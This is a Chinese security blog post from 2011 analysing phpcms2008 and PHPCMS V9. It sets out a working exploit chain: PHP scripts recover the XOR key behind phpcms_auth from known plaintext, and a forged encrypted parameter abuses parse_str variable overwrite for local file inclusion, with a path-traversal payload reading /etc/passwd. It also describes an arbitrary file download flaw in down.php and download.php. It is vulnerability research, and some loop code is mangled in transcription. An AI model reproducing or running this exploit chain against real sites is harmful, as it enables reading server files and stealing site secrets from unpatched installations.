Chinaunix首页 | 论坛 | 博客
  • 博客访问: 3029430
  • 博文数量: 181
  • 博客积分: 9990
  • 博客等级: 中将
  • 技术积分: 1865
  • 用 户 组: 普通用户
  • 注册时间: 2006-05-23 09:43
文章分类

全部博文(181)

文章存档

2011年(40)

2010年(17)

2009年(87)

2008年(37)

我的朋友

分类: 网络与安全

2011-04-06 21:52:14

phpcms的phpcms_auth导致的本地文件包含漏洞和任意文件下载漏洞

phpcms_auth函数是phpcms里面为了增强程序的安全性的一个加密函数,在play.php、down.php 、download.php等等文件用它来对用户提交的加密字符串进行解密,进入程序流程,如果我们可以控制了phpcms_auth函数的解密,我们就可以通过注射我们的恶意代码,进行攻击。
而phpcms_auth采用的是可逆的位异或算法,并且对加密的结果进行了base64编码。
对于位异或算法来说只要我们破解了密钥字符串$key我们就完全控制了这个函数的加密解密。
对于base64编码主要是处理某些加密后的不可见字符,但是这给了我们一个很好的机会:
就是说我们破解了$key之后,我们就可以不受magic_quotes_pgc的限制引入%00字符串进行阶段,或者引入引号发起其他攻击。
到此已经违背了这个程序设计的初衷,破解了这个函数之后,一方面反而更加不安全了,另一方面所有建立在这个函数之上的机制可能都会受到攻击。

// include/global.func.php
function phpcms_auth($txt, $operation = 'ENCODE', $key = '')
{
$key    = $key ? $key : $GLOBALS['phpcms_auth_key'];
$txt    = $operation == 'ENCODE' ? $txt : base64_decode($txt);
$len    = strlen($key);
$code    = '';

for($i=0; $i$k        = $i % $len;    //循环使用密钥字符串对字符串逐位进行异或
$code  .= $txt[$i] ^ $key[$k];
}
$code = $operation == 'DECODE' ? $code : base64_encode($code);
return $code;
}

对于$key的破解
对于位运算的异或运算,是可逆的,明文和密钥异或得到密文。如果我们知道密文并且知道一部分明文那么我们也就可以得到密钥,有了密钥我们就可以破解另一部分密文,当然也就可以对我们自己的明文进行加密,然后用我们精心构造的密文发起攻击了。

不幸的是phpcms的确给了我们可用来破解密钥的明文。

// include/fields/downfile/output.inc.php

function downfile($field, $value)
{
$contentid = $this->contentid;
$mode = $this->fields[$field]['mode'];
$result = '';
if($mode)
{
$servers = $this->fields[$field]['servers'];
$downloadtype = $this->fields[$field]['downloadtype'];
$servers = explode("\n",$servers);
foreach($servers AS $k=>$server)
{
$server = explode("|",$server);
$serverurl = $server[1];
$a_k = urlencode(phpcms_auth("i=$contentid&s=$serverurl&m=1&f=$value&d=$downloadtype", 'ENCODE', AUTH_KEY));
$result .= "$server[0]";
}
}
else
{
$a_k = urlencode(phpcms_auth("i=$contentid&m=0&f=$value", 'ENCODE', AUTH_KEY));
$result = "点击下载";
}
return $result;
}

这个文件是用来生成静态html文件的,默认安装的phpcms某个软件的下载页面地址为:

进入下载文件的下载地址为:

%2BeEY%3D

对加密字符串解密后为
密文:GnRCQxxbSQpfXGAwfhwcCDUkEwMaJRVKXVZeVk1cdWVyRl5Ua3RHVkB4QVdeVFxUVVpweDkAHEI%2BeEY%3D
明文:i=2&s=&m=0&f=uploadfile/2011/0331/20110331121233766.zip&d=1
这里2.html的2就是数据库里id的值,如果没有设置镜像站点的话$serverurl为空
也就是说”i=2&s=&m=1&f=”是不会变的,我们可以破解12位的密钥了。
默认的话密钥有20位,如果用户上传目录没修改的话我们知道的明文就有”i=2&s=&m=0&f=uploadfile”共23个字符,可以得到全部密钥了。

$key="i=2&s=&m=0&f=uploadfile";
$txt='GnRCQxxbSQpfXGAwfhwcCDUkEwMaJRVKXVZeVk1cdWVyRl5Ua3RHVkB4QVdeVFxUVVpweDkAHEI%2BeEY%3D';
$txt=base64_decode(urldecode($txt));
$len=strlen($key);
echo $len;
for($i=0;$i{
$code  .= $txt[$i] ^ $key[$i];
}
echo $code;
?>

运行结果为:sIpeofogblFVCildZEwesIp
可以看到sIp开始下一个循环加密了,所以密钥就是:sIpeofogblFVCildZEwe

还有一点就是下载的时候我们可以得到文件名:20110331121233766.zip
d的值是下载文件的类型,假设我们不知道也不要紧
就是说明文:20110331121233766.zip&d=是已知的有24位
密文:GnRCQxxbSQpfXGAwfhwcCDUkEwMaJRVKXVZeVk1cdWVyRl5Ua3RHVkB4QVdeVFxUVVpweDkAHEI%2BeEY%3D

$key="20110331121233766.zip&d=";
$txt='GnRCQxxbSQpfXGAwfhwcCDUkEwMaJRVKXVZeVk1cdWVyRl5Ua3RHVkB4QVdeVFxUVVpweDkAHEI%2BeEY%3D';

$txt=base64_decode(urldecode($txt));
$tlen=strlen($txt);
$klen=strlen($key);
for($i=1;$i{
$code  .= $txt[$tlen-$i-1] ^ $key[$klen-$i];
}
echo $code."\n";
echo $tlen."\n";
?>

运行结果为:
EZdliCVFlbgofoepIsewEZd
59
来看phpcms_auth源码
/*
...
$len    = strlen($key);
...

for($i=0; $i$k        = $i % $len;
$code  .= $txt[$i] ^ $key[$k];
}
...
*/

我们可以知道
$key[17]=’E';
我们可以得到倒序的密钥字符串:
ewEZdliCVFlbgofoepIs

然后我们把字符串翻转过来终端下执行:

alone@Sh3llc0de:~$ echo ‘ewEZdliCVFlbgofoepIs’|rev
sIpeofogblFVCildZEwe

我们的密钥字符串就是:sIpeofogblFVCildZEwe

到此我们已经从一个攻击者的角度破解出了密钥。接下来我们看看由此引发的几个安全问题
————————————-

1.phpcms2008 sp2-sp4 本地文件包含漏洞
这个漏洞跟boblog刚爆出的任意变量覆盖漏洞有些相似,都是任意变量覆盖然后仅跟了一个本地文件包含。这种漏洞也是很好玩的,攻击的方法更灵活。

//play.php
require dirname(__FILE__).'/include/common.inc.php';
if(!isset($a_k)) showmessage($LANG['illegal_parameters']);
//common.inc.php文件的全局变量机制已经将所有GPC数据导出为变量了
//所以$a_k=$_GET[$a_k];
$a_k = phpcms_auth($a_k, 'DECODE', AUTH_KEY); //这里是关键分析见上文

if(empty($a_k)) showmessage($LANG['illegal_parameters']);
unset($i, $m, $f, $p);
parse_str($a_k);    //parse_str处理解密后的$a_k将导致变量覆盖
//通过覆盖下文的$mod 或者$templateid将触发本地文件包含漏洞
//由于我们提交的密文会经过phpcms_auth函数中base64解密的,所以直接无视magic_quotes_gpc的影响而可以NULL字符截断
//但是高版本的PHP修复了%00的攻击缺陷

if(isset($i)) $i = intval($i);
if(!isset($m)) showmessage($LANG['illegal_parameters']);

if(empty($f)) showmessage('地址失效');
if(preg_match('/\.php$/',$f) || strpos($f, ":\\")) showmessage('地址有误');
if(!$i || $m<0) showmessage($LANG['illegal_parameters']);
$allow_readpoint = 1;
// include global.fuc.php
/*
...
$M = $TEMP = array();
if(!isset($mod)) $mod = 'phpcms';
if($mod != 'phpcms')
{
isset($MODULE[$mod]) or exit($LANG['module_not_exists']);
$langfile = defined('IN_ADMIN') ? $mod.'_admin' : $mod;
@include PHPCMS_ROOT.'languages/'.LANG.'/'.$langfile.'.lang.php';
$M = cache_read('module_'.$mod.'.php');
}
...
*/
//此处通过上文的对$mod进行变量覆盖绕过下面的if语句
if($mod == 'phpcms')
{
$contentid = $i;
include 'admin/content.class.php';
$content = new content;
$data = $content->get($contentid);
$readpoint = $data['readpoint'];

$title = $data['title'];
$keys = array_keys($data);

if(in_array('groupids_view',$keys))
{
if($data['groupids_view'])
{
if(!$priv_group->check('contentid', $contentid, 'view', $_groupid)) showmessage('您没有查看权限');
}
if(in_array('readpoint', $keys))
{
$C = cache_read('category_'.$data['catid'].'.php');
if($C['defaultchargepoint'] || !empty($readpoint))
{
$readpoint = $readpoint ? $readpoint : $C['defaultchargepoint'];
$pay = load('pay_api.class.php', 'pay', 'api');
if($C['repeatchargedays'])
{
if($pay->is_exchanged($contentid, $C['repeatchargedays']) === FALSE)
{
$allow_readpoint = 0;
}
}
else
{
session_start();
if($_SESSION['pay_contentid'] != $contentid) $allow_readpoint = 0;
}
}
}
}
}

$player = load('player.class.php');
$result = $player->get($p);
@extract($result);
$videourl = trim($f);
$code = str_replace('{$filepath}',$videourl, $code);
$code = str_replace('{$PHPCMS[siteurl]}', $PHPCMS['siteurl'], $code);
$code = str_replace('{$PHPCMS[sitename]}', $PHPCMS['sitename'], $code);
$templateid = $templateid ? $templateid : 'play';
include template($mod, $templateid);
/*
// include/global.fuc.php
// function template 起到一个连接字符串的作用

function template($module = 'phpcms', $template = 'index', $istag = 0)
{
$compiledtplfile = TPL_CACHEPATH.$module.'_'.$template.'.tpl.php';
if(TPL_REFRESH && (!file_exists($compiledtplfile) || @filemtime(TPL_ROOT.TPL_NAME.'/'.$module.'/'.$template.'.html') > @filemtime($compiledtplfile) || @filemtime(TPL_ROOT.TPL_NAME.'/tag.inc.php') > @filemtime($compiledtplfile)))
{
require_once PHPCMS_ROOT.'include/template.func.php';
template_compile($module, $template, $istag);
}
return $compiledtplfile;
}

*/
?>

接下来生成我们的攻击字符串:
$key='sIpeofogblFVCildZEwe';
$evil='i=1&m=1&f=fuck&mod=../../../../../../../etc/passwd%00&c4rp3nt3r=0x50sec.org';
//经过parse_str($evil);后c4rp3nt3r变量并没有被创建
//这个地方我也不是很明白为什么可以进行截断
//但事实上真的可以截断

$evil = phpcms_auth($evil, 'ENCODE', $key);
echo $evil."\n";
function phpcms_auth($txt, $operation = 'ENCODE', $key)
{
$txt    = $operation == 'ENCODE' ? $txt : base64_decode($txt);
$len    = strlen($key);
$code    = '';

for($i=0; $i$k        = $i % $len;
$code  .= $txt[$i] ^ $key[$k];
}
$code = $operation == 'DECODE' ? $code : base64_encode($code);
return $code;
}
?>

alone@Sh3llc0de:/var/www$ php v.php
GnRBQwJbXkEEUSAjIAJKCTUhSktdZl5LQEhBSExCaXhtRkJKdWtZShY9E0ofBxwUFQhjZnNPD1AoNUQLB3oCWF8eWlcRCSV4LBsL

POC:
成功包含了/etc/passwd

2.phpcms2008 sp2-sp4、PHPCMS V9 正式版任意文件下载漏洞

以phpcms2008为例

down.php 和download.php都存在这个漏洞,具体利用跟上面的文件包含差不多就不多罗嗦了,成功利用此漏洞可以下载任意文件,包括.php后缀的文件。
只是download.php的加密方式是:
//download.php

$phpcms_auth_key = md5(AUTH_KEY.$_SERVER['HTTP_USER_AGENT']);
$a_k = phpcms_auth($a_k, ‘DECODE’, $phpcms_auth_key);

这样可能主要是为了仿制迅雷等浏览器的下载。但是既然我们知道了AUTH_KEY(见上文分析的密钥$key),$_SERVER['HTTP_USER_AGENT']是由用户提交的,那么$phpcms_auth_key 我们自然也就知道了。
除了上面说的知道部分明文来算$key,还有可能暴力破解$key.
还有就是经过md5加密后也未必就更安全,因为系统生成的$key有20位但是每一位都肯能个是大写或者小写字母,也就是有52种可能,但是经过md5加密后每一位就变成只有16种可能了,大大增加了被暴力破解的可能性。

全文结束
参考和致谢:
80vul.com《高级PHP应用程序漏洞审核技术》
Ryat[puretot] 《bo-blog任意变量覆盖漏洞》

阅读(1080) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~